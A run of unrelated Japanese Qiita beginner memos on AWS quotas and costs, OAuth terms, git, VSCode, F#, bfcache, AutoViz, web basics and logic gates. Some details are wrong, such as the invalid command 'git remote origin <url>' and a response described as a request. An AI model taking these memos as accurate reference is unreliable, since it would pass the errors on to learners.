OmniAICreator/Qiita-1.07M huggingface dataset:
VPC作成の上限を引き上げる

VPCはリージョンにつき、5つまでの制限がある
上限を解放するために申請を行ったときの自分用メモ

---

# IAM
- 権限付与

```
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "servicequotas:*",
            "Resource": "*"
        }
    ]
}
```

# 申請
- [Service Quotasのダッシューボード](https://ap-northeast-1.console.aws.amazon.com/servicequotas/home/)にアクセスし、「AWSのサービス」を選択  
![0067.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/ebe607a4-b26b-040c-ee42-4c835392ac96.png)

- 「VPC」を選択  
![0068.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/abc78bd7-8c45-4e6e-84ed-f62ab034cd22.png)

- 「VPCs per Region」選択  
![0069.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/1bd97cc4-f239-16c7-2166-0de9172e37df.png)

- 「クォータの引き上げをリクエスト」を押下  
![0070.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/bbedda86-df35-1598-ecd3-5009359425a5.png)

- クォータ値を6にする  
![0071.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/ce196721-ebc1-1cbd-2186-fd7f1fbb6788.png)

- 申請されたことを確認  
![0072.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/09d7761f-af6b-b1b9-4cbe-89be50a0c3c4.png)

- 承認されたことを確認（このときは15分後には承認されていた）  
![0073.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242897/00229108-53d5-e3f4-ccb1-8d1af1dab9c9.png)

# 感想
- 思ったより簡単に申請できた
- 申請から承認されるまでも早かった
OAuth2.0の用語を簡単に日本語訳してちょっとだけ追記してみた

# 概要

- 下記リンク先の内容を日本語に訳して若干自分なりの解釈を追記してみた。自分用メモの記事である。
    - [OAuth2.0サーバー 用語](https://oauth2.thephpleague.com/terminology/)

# 用語

- 用語を下記に記載する。

    | 用語 | 和訳 | 備考 |
    | --- | --- | --- |
    | Access token | 保護されたリソースにアクセスするために使用されるトークン | client_idやclient_secretなどを用いて発行されるIDみたいなやつ。これを持っていると認証を突破してアクセスする事ができる。 |
    | Authorization code | ユーザーがクライアントに代わって保護されたリソースへのアクセスを許可したときに生成される中間トークン。<br>クライアントはこのトークンを受け取り、アクセストークンと交換します。 |  |
    | Authorization server | クライアントとリソース所有者を正常に認証し、要求を承認した後にアクセストークンを発行するサーバー。 |  |
    | Client | リソース所有者（ユーザーなど）に代わって保護されたリソースにアクセスするアプリケーション。<br>クライアントは、サーバー、デスクトップ、モバイル、またはその他のデバイスでホストできます。 |  |
    | Grant | グラントは、アクセストークンを取得する方法です。 |  |
    | Resource server | 保護されたリソース（「ツイート」、ユーザーの写真、個人データなど）の前に配置され、アクセストークンを使用して保護されたリソース要求を受け入れて応答できるサーバー。 |  |
    | Resource owner | アプリケーションに自分のアカウントへのアクセスを許可するユーザー。<br>ユーザーのアカウントへのアプリケーションのアクセスは、付与された承認の「範囲」に制限されます（たとえば、読み取りまたは書き込みアクセス）。 |  |
    | Scope | 許可 | 与える権限の範囲 |
    | JWT | JSON Web Token |  |
Mac VScode JSONファイルのみtab押下時の半角スペース入力数を変更する

# 概要

- VScodeにてJSONファイルのみtab押下時の半角スペース入力数を変更する方法をまとめる。

# 方法

1. command + shift + pを押下する。
1. 表示されたウインドウに`settings.json`と入力する。
1. 「基本設定: 設定（JSON）を開く」をクリックする。
1. settings.jsonが開いたら下記の内容を追記する。

    ```json
    "[json]": {
        "editor.tabSize": 2
    },
    ```

1. JSONファイルを開きtabキーを押下すると半角スペース2個が入力される。
1. 筆者はbladeファイル、JSONファイル、yamlファイルをそれぞれ1回のtab押下で半角スペース2個に設定しその他のファイルは半角スペース4個に設定している。

    ```json
    "[blade]": {
        "editor.tabSize": 2
    },
    "[json]": {
        "editor.tabSize": 2
    },
    "[yaml]": {
        "editor.tabSize": 2
    },
    ```
【Parcel】The specified module could not be found.とエラーが出た時の対処

# 概要

* クリーンインストールしたPCで改めてnode.jsの環境構築を行い、parcelを実行しようとしたところ、
```
npx parcel index.html
```

```
Error: The specified module could not be found.
(中略)
  code: 'ERR_DLOPEN_FAILED'
```

とのエラーが発生した。

## 調べたこと

https://github.com/parcel-bundler/parcel/issues/7104

githubのissueで同様の事例を見つけた。ここでもクリーンインストールが原因になっているようで、読んでみると解決法が書かれていた。

## 解決法

windows関連ファイルが消えたことでMicrosoft Visual C++が抜けてしまったことが要因。

ここ(https://docs.microsoft.com/ja-JP/cpp/windows/latest-supported-vc-redist?view=msvc-170#visual-studio-2015-2017-2019-and-2022 ) からVisual Studio 2015の再頒布パッケージでインストールする。
これで動くようになる。
大雑把に作った資料を１週間後に訂正。 

Qiitaに大雑把に作った資料を１週間後に訂正している。

AUTOSAR 21-11 Adaptive Platform, Reference, Terms and word count

https://qiita.com/kaizen_nagoya/items/623047c3fdeb0a97cf44

初稿の誤植を直しながら、
AUTOSARの短縮名等の重複などを列記する。

見つけた誤植は21項目。
みつけた短縮名などの重複、あるいはAUTOSARの規定の誤植または、AUTOSARの規定のわかりにくさを記録する。

順に訂正した記事を記録する。

Autosarから公式に出ている文書は、もっと誤植が多いかもしれない。

なお、この作業中に検索している作業で誤植が発覚したものもある。
一覧を作ったり、検索したりすると誤植を見つけるだら。

# AUTOSARの誤植またはわかりにくい表現群

Specification of Time Synchronization, No.880
https://www.autosar.org/fileadmin/user_upload/standards/adaptive/21-11/AUTOSAR_SWS_TimeSynchronization.pdf

元
|term|description|
|:----|:----|
|Current Offset of the Offset Time Base given as function parameter TOStop|Current Offset of the Offset Time Base given as function parameter.|

新
|term/short name|description|
|:----|:----|
|TOStop|Current Offset of the Offset Time Base given as function parameter.|


# Qiita自己記事の誤植またはわかりにくいものの種類
1. 余分な|が入っていた。
2. |の入っている位置が前すぎた。
3. short nameが右にあるものがあった。一覧にすると不便なので左右を入れ替えた。
4. | が単語の途中に入って単語が泣き別れ。
5. 単語間の空白文字が一つなくなり、単語の先頭文字の次に空白文字が入っている。

# 誤植だと思ったけどそうでもので直さない。
1. 文書名を含む[]。番号の後に]が抜けているかと思った。
2. 文書番号が左にある。右にした方がいいとは限らず辞めた。

# 訂正済み

 Adaptive Platform Release Overview, No.782, AUTOSAR 21-11 (16) AP

https://qiita.com/kaizen_nagoya/items/e622ba8f9011344bd04a

Specification of Execution Management, No.721, AUTOSAR 21-11 (21) AP

https://qiita.com/kaizen_nagoya/items/9b6b3b571889eea87081

Specification of Platform Health Management, No.851 , AUTOSAR 21-11 (30) AP

https://qiita.com/kaizen_nagoya/items/2703c294a4287a6dcfec

Requirements on Operating System Interface, No.718 , AUTOSAR 21-11 (31) AP

https://qiita.com/kaizen_nagoya/items/3c78bf86a6af2035434b

Specification of Operating System Interface, No.719 , AUTOSAR 21-11 (33) AP

https://qiita.com/kaizen_nagoya/items/35cd6499df87fea11c92

Explanation of Adaptive Platform Software Architecture, No.982 , AUTOSAR 21-11 (37) AP

https://qiita.com/kaizen_nagoya/items/ffa6c487e1fd838ff9a4

Explanation of Safety Overview, No.885, AUTOSAR 21-11 (38) AP

https://qiita.com/kaizen_nagoya/items/4a6f951701d53113117e

Functional Cluster Shortnames, No.862, AUTOSAR 21-11 (39) AP

https://qiita.com/kaizen_nagoya/items/fabab393c4c1939c0fe8

Specification of Update and Configuration Management, No.888, AUTOSAR 21-11 (43) AP

https://qiita.com/kaizen_nagoya/items/2306d465f78f0f3e7146

Specification of State Management, No.908, AUTOSAR 21-11 (44) AP

https://qiita.com/kaizen_nagoya/items/0800a8b906b04172d855

Requirements on Identity and Access Management, No.899, AUTOSAR 21-11 (54) AP

https://qiita.com/kaizen_nagoya/items/3ed7e26481f6bce61f22

Specification of Time Synchronization, No.880 , AUTOSAR 21-11 (55) AP

https://qiita.com/kaizen_nagoya/items/9c5e22713d3e4f8cac08
F#を始める時に役立つ資料


<br>

MSが作ったOcamlベースの言語 .NET

関数型であり、Haskellのようにモナモナ言わなくても良いし (haskellはそれが良いのですが..)
type, memberでオブジェクト指向っぽくも書ける
実用度ナンバーワンの言語だと思います。

使った印象は、遅い処理に対して敏感で
何の気なしに書いてると、とんでもなく遅いプログラムになったりします。
ただ僕自身の.NETの知識が乏しい為に起こる問題ですので..
あまり気にせず、F#を初めてみましょう。

とにかく人口が少ないので..　みなさんお待ちしております。



<br><br>

## 日本語リンク集

<br>

[F# を知ってほしい](https://qiita.com/cannorin/items/59d79cc9a3b64c761cd4)
F#はおすすめです。

[F#入門](http://fsharpintro.net)  
おすすめ

[Midoliy｜F#プログラミング](https://midoliy.com/content/fsharp/)  
リファレンス

[Microsoft](https://docs.microsoft.com/ja-jp/dotnet/fsharp/) 
公式

[Haskellで学ぶF#入門](https://qiita.com/7shi/items/1d3750ba17f5a88b8405)  
[Haskell 超入門](https://qiita.com/7shi/items/145f1234f8ec2af923ef)の7shiさん。

[C#/JavaScriptで学ぶF#入門](https://qiita.com/7shi/items/ff746903680ae8d0d7ce)
[Haskell 超入門](https://qiita.com/7shi/items/145f1234f8ec2af923ef)の7shiさん。

[isaacabraham/get-programming-fsharp](https://github.com/kxkx5150/get-programming-fsharp)  
Get Programming with F#の掲載コード

[F# Cheatsheet](https://dungpa.github.io/fsharp-cheatsheet/)  
チートシート　簡潔でF#素晴らしい

<br><br>

## VSCode 雛形

<br>


[kxkx5150/Fsharp-CUI](https://github.com/kxkx5150/Fsharp-CUI)  
CUIの雛形

[kxkx5150/Fsharp-WinForm](https://github.com/kxkx5150/Fsharp-WinForm)  
WinFormの雛形

[kxkx5150/Fsharp-SDL2](https://github.com/kxkx5150/Fsharp-SDL2)  
SDL2の雛形

[kxkx5150/Fsharp-GTK](https://github.com/kxkx5150/Fsharp-GTK)  
GTKの雛形





<br><br>



## F#で作った物

<br>

### ファミコンエミュレータ
[kxkx5150/Famicom-Fsharp](https://github.com/kxkx5150/Famicom-Fsharp)  

上記の作成時にハマった点

下記のようにしないとループが遅い

```fsharp

   let Loop =
        async {
            while true do
            ...
            ...
            ...


   Async.Start(Loop))
```

配列のコピーをしている所が、とても遅くなる。
```fsharp
array[idx, *]
```

上記を直してからのパフォーマンスは素晴らしかったです。



<br><br><br><br>
githubにpushするアカウントを変更する

# やりたいこと
異なるアカウントでgitにログインしたい

以下のコマンドを実行してユーザネームとメールアドレスを変更する
```
$ git config --global user.name "username"
$ git config --global user.email "email address"
```

確認
```
git config user.name
git config user.email
```



### 余談
git initの取り消しやremoteのurlアドレスを変更したいときのコマンドもここに示しておく


git initの取り消し(リポジトリの削除)
```
rm -rf .git
```

remoteの再設定
```
git remote rm origin
git remote origin <設定したいurl>
git remote -v 　#確認
```
【備忘録】Gitでpushする

プログラミング勉強中
Githubにコードを上げるか～となったときによく手順を忘れるので
自分用のメモとして残します。

①Gitを初期化（初回のみ）
```
$ git init
```

②git addで変更内容を反映
```
//すべてのファイルをaddする
$ git add .

//特定のファイルのみaddする
$ git add [ファイル名]
```

③コミットする
```
$ git commit -m "コメント"
```

④Github上のリモートリポジトリと紐づけする（初回のみ）
```
$ git remote add origin [url]
```

⑤pushする
```
$ git push origin master
```

以上で完了
AWS Security Hubの結果をさらしてみる

[AWS Security Hub](https://aws.amazon.com/jp/security-hub/)とは
> **セキュリティ体制の管理と改善**
> AWS Security Hub では、AWS のセキュリティステータスを一括表示できます。セキュリティチェックを自動化し、セキュリティ検出結果を管理し、AWS 環境全体にわたってセキュリティで最優先すべき問題を洗い出します。

2022/5/13現在、以下のセキュリティ基準が用意されています。

* CIS AWS Foundations Benchmark
* AWS 基礎セキュリティのベストプラクティス
* PCI DSS

個人で利用しているAWSアカウントにSecurity Hubを有効にしましたので、「AWS 基礎セキュリティのベストプラクティス」のスコアをさらしてみます。

どーん

![ap-northeast-1.console.aws.amazon.com_securityhub_home_region=ap-northeast-1(1280x720).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/41574/7485167d-98ca-e807-be78-c6d3d7b2592f.png)

いいのか悪いのか、よくわからないですが、失敗の内容を見ていきます。

## ハードウェア MFA はルートユーザーに対して有効にする必要があります

**重要度** 重要
**ID** IAM.6

> [IAM.6] This AWS control checks whether your AWS account is enabled to use a hardware multi-factor authentication (MFA) device to sign in with root user credentials.

詳細は[こちら](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html#fsbp-iam-6)

仮想ではなくハードウェアのMFAデバイスを使いなさいということのようです。持ってないのでこのチェックは無効化します。無効化の際に理由を入力する必要があります。

![ap-northeast-1.console.aws.amazon.com_securityhub_home_region=ap-northeast-1(1280x720) (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/41574/f9a95910-5795-ad93-38a6-40488549dec9.png)

## S3 ブロックパブリックアクセス設定は、バケットレベルで有効になっている必要があります

**重要度** 高
**ID** S3.8

> [S3.8] This control checks if Amazon S3 buckets have bucket level public access blocks applied. This control fails if any of the bucket level settings are set to "false" public: ignorePublicAcls, blockPublicPolicy, blockPublicAcls, restrictPublicBuckets.

詳細は[こちら](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html#fsbp-s3-8)

S3はもうパブリックアプセスさせるなと言うことでしょうか。言われるがまま、設定してました。

![ap-northeast-1.console.aws.amazon.com_s3_settings_region=ap-northeast-1(1280x720) (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/41574/21b39538-46b7-494e-54a8-6c141c9565f3.png)

この設定をすると、バケット単位でパブリックアクセスを有効にしても「無効」が適用されるようです。

---

残り32件。。
今日はここまでにします。気が向いたら続きやります。。
ELB ログを検索する

簡単にメモを残しておく

- [ドキュメント](https://docs.aws.amazon.com/ja_jp/athena/latest/ug/application-load-balancer-logs.html)の通り、Athena 上にテーブルを作成
- 必要に応じて、検索クエリを実行
    - [ログ項目](https://docs.aws.amazon.com/ja_jp/elasticloadbalancing/latest/application/load-balancer-access-logs.html#access-log-entry-format)は要確認
    - 今回は、 `特定 IP からの、特定 URL に対するレスポンスタイム` を見たかったので ↓

```sql
SELECT
  client_ip,
  elb_status_code,
  target_status_code,
  request_verb,
  request_url,
  time,
  request_creation_time,
  parse_datetime(time,'yyyy-MM-dd''T''HH:mm:ss.SSSSSS''Z') - parse_datetime(request_creation_time,'yyyy-MM-dd''T''HH:mm:ss.SSSSSS''Z')
FROM
  "elb_logs"
WHERE
  client_ip in (
    [対象の IP]
  )
  and request_verb = 'GET'
  and regexp_like(request_url, [対象の URL])
;
```
AWS超初心者によるAWS費用試算

# はじめに
AWSを利用するにあたり、予算確保等の理由から「(上振れしない様に)それなりに精緻な」形で「年/月単位」で発生する費用の試算を求められることがあるかと思います。
今回は、上記要望のもと、AWS超初心者が行ったAWS費用の試算方法について、まとめてみます。

# AWS費用試算の道のり
## 困りポイント
AWS費用試算はどうやれば？ということで調べていくと、[AWS Pricing Calculator](https://calculator.aws/)を利用しましょうという話が出てくるかと思います。
試算ページの項目を埋めていけば想定費用が結果として得られる訳ですが、AWSサービスに依っては、試算に必要な値をいきなり埋めていくのはハードルが高い(筆者的には)場合があります。

例：ELBの試算ページ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2609667/62f84191-5a3b-a96e-8933-65dba93ceb37.png)

## まずは費用発生条件を理解する
という訳で、まずは試算対象とするAWSサービスの料金体系を確認し、費用発生の条件及び算出式を理解します。
AWS社のHPにて料金体系を確認する方法が一番間違いが無いのですが、試算における注意点等を含め、より分かりやすく説明頂いているHP等もあります。理解を深めるという観点から、合わせて参照していくと良いかと思います。

* 例：EBSボリュームにおける費用発生条件
  * https://aws.amazon.com/jp/ebs/pricing/
    * リージョン
    * ボリュームタイプ
    * プロビジョニングサイズ
    * (ボリュームタイプに応じて) プロビジョニングするIOPS及びスループット
* 例：Amazon Workspacesにおける費用発生条件
  * https://aws.amazon.com/jp/workspaces/pricing/
    * リージョン 
    * バンドルOS種類及び持ち込み(BYOD)するか否か
    * 利用リソース (CPU, メモリ, ディスク)
    * 料金プラン (時間 or 月額)

## 費用発生条件の値を設定する
費用発生条件を理解出来たところで、次に各条件の値(使用量等)を設定していきます。
全ての値を設定出来れば良いのですが、実際には予測が難しい条件もあります。まずは、この値は決められそう、これは無理だなという選別をしていきます。
値の予測が難しい条件については、ある程度エイヤで決めるしかないかと思います。明確なやり方を定義することが難しいのですが、筆者の個人的なポイントとしては以下と考えています。
1. 費用算出式から、最終的な費用にどの程度影響があるのかを確認すること
2. 1.を踏まえた上で、大きめに値を見積もること(上振れしない様に)
3. 予測が難しいために暫定的に値を置いているという事実を情報として残しておくこと

* 例：S3 Standardにおける値設定
  * https://aws.amazon.com/jp/s3/pricing/
    * リージョン → 東京リージョン
    * ストレージ容量 → 最大100TB利用
    * リクエスト数(PUT/COPY/POST/LIST, GET/SELECT/他のすべて) → 予測難...今回はストレージ容量の方が費用内訳の大半を占めそうなので●●●と値を置く。
    * ....

## 支払いプランの選択肢を確認する
基本的には従量課金/月払いになりますが、一部AWSサービスでは支払いプランの選択肢が存在します。
* 例：EC2の場合
  * Compute Savings Plans, EC2 Insntace Savings Plans, Standard Reserved Instance, ...

具体的な説明はここでは割愛しますが、条件を満たす場合には大幅に割引が効くケースがありますので、どのような支払いプランがあるのか、各支払いプランの条件を合わせて確認しておきます。

## 整理した情報をもとに試算する
ここまでで整理した情報をもとに、AWSサービス毎に[AWS Pricing Calculator](https://calculator.aws/)を利用して、費用を試算します。

## 試算値をまとめる
基本的に月払いになりますので、月別の発生費用が分かるように整理します。

# 実際に費用試算をしてみた
という訳で、上記の流れで実際に費用試算を行ってみましたので、例としてご紹介します。
以下記載の各種値は適当な値になりますので、ご留意ください。

## 必要となるAWSサービスの整理
まず初めに、必要となるAWSサービスを列挙します。
* 例：使用するAWSサービスと用途の整理
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2609667/fa9c1305-b6cb-4181-ae70-a7124444638c.png)

## 発生条件の整理と値の予測
次に、各AWSサービスにおける費用発生条件の整理、各条件の値を定義します。
* 例：EC2/EBSの場合
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2609667/98f482de-042f-c911-b815-d0fbd3b60be1.png)

* 例：その他AWSサービスの場合
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2609667/ecddac8a-72f6-b3ec-8acc-380d76a6f389.png)

## 費用試算
ここまで整理した情報をもとに、[AWS Pricing Calculator](https://calculator.aws/)を利用して、各AWSサービス毎に月額費用($)を試算します。
その後、月額費用($)に対して円計算、年間計算を行います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2609667/68b786ba-5183-b490-2d8b-1ff3ef0ee28a.png)

## 月単位での集計
試算結果をもとに、月次での発生費用を整理します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2609667/db75943f-22ae-7f1f-f78c-469836cc0256.png)

# 最後に
AWS費用の試算においては、精度的には限界なところがあります。
実際にAWSサービスの利用を開始した後、実績値と比較を行うことで、後の試算精度を上げていくことが、次に求められる対応になるかと思います。
【Python】対話型シェルの使用中にhelp()から抜け出す方法

こんにちは、okoniです:rocket:
最近はJavaScript(React)の勉強してます:pencil2:

今回は、python講座（入門編)で困った
対話型シェルの使用中に、help()からの抜け出す方法についてです。

# 対話型シェル
pythonには対話型シェルというモードがあります。
文字通り、ターミナルにてpythonと対話するようにプログラミングすることができます。

# 解決方法
結論ですが、キーボードのQを押すと一瞬で抜けられます。
※この方法以外にもあれば教えて下さい:bow_tone1:

# まとめ
自分もググっただけで恐縮ですが、
アウトプットの第一歩だと思い投稿に至りました。

お一人にでもお役に立てれば御の字です。

それでは、また:metal:
FileMakerの開発支援ツールMBS FileMaker Plugin (7) 検索機能

MBS FileMaker Pluginは、FileMakerで利用する機能拡張のためのプラグインです。
アプリへの機能追加はもちろんのこと、開発の効率を上げてくれる機能も含まれているので、紹介します。

## フィールド定義ウィンドウで情報を検索する

テーブルにたくさんのフィールドを定義すると、目的のフィールドを探すのに手間取ります。
MBS FileMaker Pluginを使えば、フィールド定義情報を検索することができます
注意する点としては、フィールド定義ウィンドウを表示すれば常に検索窓が表示されているわけではないことです。
コンテキストメニューからShow Find Barを選ぶか、ショートカットキーを用いて、表示させましょう。
![Screen Shot 2022-05-13 at 19.23.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2322472/403ad03e-ccb9-ea85-e3b0-9d47b4dc9654.png)

動きを動画で確認する
<iframe width="640" height="480" src="https://www.youtube.com/embed/xBHTk6A6-gI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

## テーブル定義ウィンドウで情報を検索する

ウィンドウ内のテーブル名が表示されている領域でコンテキストメニューを選ぶ（右クリック）かコマンド+Fのショートカットキーを選びます。
そうすると検索窓が現れます
![Screen Shot 2022-05-13 at 19.54.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2322472/1b395bc8-2490-e25b-e39c-efa9678848e8.png)

任意のワードをいれて検索をすればヒットする箇所がハイライトされます。
![Screen Shot 2022-05-13 at 19.23.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2322472/ec89b81e-74c0-7bfd-0603-5a731764e472.png)

動きを動画で確認する
<iframe width="640" height="480" src="https://www.youtube.com/embed/xBHTk6A6-gI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

フィールド定義、テーブル定義ともに、登録される量が多いと必ず検索機能が欲しくなります。検索窓が標準で表示されていないので、見落としがちな機能ですが、対象となるフィールドやテーブルを探すには非常に強力な機能と言えるでしょう。
bfcacheには気を付けよう

##### ある日の弊社
営業さん「ブラウザバックした時クリックが反応しなくなっちゃったってお客さんから連絡来てるんですけど」
　　ぼく「！？」

##### 何が起こったか
そもそも上記問題が起こる直前に、クリック連打した時連続で遷移のメソッドが起動してしまってただでさえクソ重いDBに負荷をかけられる、というクソみたいなコードを書いてやがったので、loadイベントで初期化したフラグのオンオフを見て、オンだったら起動しない、みたいな処理を書きました。こんなの
```JavaScript
$(window).on('load', function(){
  hogeObject.flag = false;
});
$(".hogeButton").on('click', function(){
  if(!hogeObject.flag){
    hogeObject.flag = true;
    pageShow(this);
  }
});
```
が、ブラウザバックした時にloadイベントで初期化すべきフラグが初期化されず、hogeButtonクラスのボタンをクリックしても遷移が発生しない、という状況になってました。loadイベントでconsole.logで何か吐く様にしても、確かにブラウザバックでloadイベントが再度呼ばれてない。はて？と思って色々調べたところ、どうもbfcacheというものが影響しているということが発覚しました。（参考： https://yosiopp.net/archives/845/ ）

そこで、bfcacheで描画されても大丈夫な様に、フラグをpageshowイベントで初期化する様にして解決しました。（参考： https://developer.mozilla.org/ja/docs/Web/API/Window/pageshow_event ）

めでたし。
AutoVizを使用して一行EDA

## AutoVizとは

AutoVizは、The Kaggle Bookから以下のように紹介されている。

```
もしあなたが怠け者だと感じたり、
どこからどのように始めたらよいかわからない場合、
最初は自動化された戦略に頼るのも一案です。
例えば、人気のあるラピッドEDAフリーウェアのツールであるAutoViz
```

条件にフィットしていると感じたので早速使用してみる。

## 使用方法

使用方法はとても簡単で、以下のようにコード一行で済ませる。

```python
pip install autoviz

from autoviz.AutoViz_Class import AutoViz_Class
%matplotlib inline

autoviz = AutoViz_Class().AutoViz("/kaggle/input/tabular-playground-series-may-2022/train.csv")
```

出力できるものは以下となる。

* カラム間の関係性を表す散布図
* 各カラムのヒストグラム、箱ひげ図、正規確率プロット
* 連続値のヴァイオリンプロット
* カテゴリ毎の相関係数ヒートマップ
など
プロになるためのWeb技術入門を読んで

書籍「プロになるためのWeb技術入門　(著)小森裕介」を読んで重要項目を自分なりにまとめてみた。

## ステートフル
例えると、高級な美容室。高級な美容室は来店したお客様の情報を記録しておき、誰が対応したか、どのような髪型にしたのかをわかるようになっている。よって「この前と同じ髪型でお願いします」と言えば通じる。このように、サーバが前回のリクエスト結果を覚えており、それを踏まえて次のリクエストを実行する。

## ステートレス
例えると、1カット1000円の床屋さん。1カット1000円の床屋さんでは、どんなお客様がいつ来店して、どのような髪型にしたのか、記録していないことが多いと思う。これは、手早くたくさんのお客様の髪を切ってコストを下げるためである。そのため、何度行っても「今日はどんな髪型にしますか？」と聞かれることとなる。このように、サーバは毎回リクエストを要求し、それに対して次のリクエストを実行する。

## リクエスト
クライアントからサーバに対する要求。

## レスポンス
サーバからクライアントに対する要求。

## Cookie
HTTPの仕様を拡張してWebアプリケーションとWebブラウザの間で情報を交換できるようにしたもの、つまりwebブラウザに状態を持たせる技術のことである。WebサーバからCookieを受け取ったWebブラウザは、次回同じサーバにアクセスする際、受け取ったCookieをそのままHTTPリクエスト・ヘッダに入れて送る。Webアプリケーション側は、リクエスト・ヘッダに入っているCookieを調べることにより、アクセスしてきた相手がどのような相手かを調べることができる。一方で、Cookieを受け取ったサーバとは異なるWebサーバに対してはCookieは送らない。この仕組みにより意図しない情報が他のWebサーバに送られてしまうことを防いでいる。Cookieは、基本的にたったこれだけの簡単な仕組みである。よってログインフォームのあるWebブラウザでログインし、買い物等をした情報はログアウトした時点でそれ以降Cookieを送らないため情報は表示されない。再度ログインしてセッションIDが付与されれば、Cookieは送られ、ログイン情報は表示される。

## プロトコル
どのような方法で情報をやり取りするかという取り決め。ex) HTTP(Webブラウジング), FTP(ファイル転送), SSH(暗号化されたリモートコンピュータとの汎用通信), HTTPS(暗号化されたHTTP)etc.

## ポート番号
リクエストの宛先のこと。住所のようなもの。ポート番号を指定することにより、HTTPリクエストがWebサーバの元へ正しく届く。
基本情報（基本回路を組み合わせた論理回路）

[前回](https://qiita.com/jupippii/items/b899e6f828d34b77b424)は基本回路をやりました（論理積回路、論理和回路、否定回路）　　

上記の３つを組み合わせて更に様々な論理回路を作り出すことができます。
おさらいで上記の３つのベン図を見てみます。

### 論理積回路（AND回路）
![200px-Venn0001.svg (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/00d56355-27dc-d803-508e-f78bf3acee0c.png)
### 論理和回路（OR回路）
![200px-Venn0111.svg (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/5e171873-cc06-2821-ba91-c653c602abed.png)
### 論理否定回路(NOT回路)
![200px-Venn1010.svg (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/90e575d8-5691-02ac-3d49-f5cd4c4327fa.png)

上記だけだと網羅しているとは言えません。
他にも論理回路があります。

代表的なものが**否定論理積回路(NAND回路)** と **否定論理和回路(NOR回路)** と **排他的論理和回路(EOR回路またはXOR回路)** の３つです。

## 否定論理積回路（NAND回路）
論理積（AND）と否定（NOT）を組み合わせた論理回路みたいです。納戸ではないんですね。N(NOT)ANDですね。
![150px-Venn1110.svg.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/9ad64198-6f39-46e2-c881-1169e81a2c9d.png)
![NAND-gate-US.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/a6511f4b-beb4-64e2-a734-d1ce5ab0b3cb.png)


|  A   |  B   |  Y   |
| :---: | :---:| :---: |
|   0  |  0  |  1  |
|   0  |  1  |  1  |
|   1  |  0  |  1  |
|   1  |  1  |  0  |

```javascript
const a = 1
const b = 1

!(a && b) ? 1 : 0
//　答えは0(false)

!a || !b ? 1 : 0
//　ド・モルガンで書き換えると
//　答えは上と一緒
```

## 否定論理和回路(NOR回路）
論理和(OR)と否定(NOT)でN(NOT)ORですね。
否定するときは先にNですね。
![220px-Venn1000.svg.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/0002a859-c4e0-4dc6-b306-c223c4cb9ef4.png)
![NOR-gate-US.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/67d89dd4-81a0-d5cd-c1a9-ebbf0ceef39c.png)

|  A   |  B   |  Y   |
| :---: | :---:| :---: |
|   0  |  0  |  1  |
|   0  |  1  |  0  |
|   1  |  0  |  0  |
|   1  |  1  |  0  |

```javascript
const a = 0
const b = 0 

!(a || b) ? 1 : 0
//　答えは1(true)

!a && !b ? 1 : 0
//　ド・モルガンで書き換えると
//　答えは上と一緒
```

## 排他的論理和回路(XOR回路）
Exclusive ORの略で2つある入力のうち**片方**だけが1の場合に１となるらしいです。
![Venn-Diagram-XOR.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/d8cc1545-a0fa-50a9-1bc9-4f1a1ebd1236.png)
![XOR-gate-US.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542637/2830bbf3-fd33-6f37-9f9e-8e590f3bb5ba.png)
|  A   |  B   |  Y   |
| :---: | :---:| :---: |
|   0  |  0  |  0  |
|   0  |  1  |  1  |
|   1  |  0  |  1  |
|   1  |  1  |  0  |

```javascript
const a = 0
const b = 0 

a ^ b ? 1 : 0
//　0（false)
//　^のことをキャレットと読むらしいです　へえ
```
排他的論理和は業務で使ったことない気がしますね。

## まとめ
論理演算、ベン図、論理回路は無意識に使っているものが多いのと、実務においても重要な章なのでしっかり覚えていきます。

## 参考
[論理回路](https://ja.wikipedia.org/wiki/%E8%AB%96%E7%90%86%E5%9B%9E%E8%B7%AF)
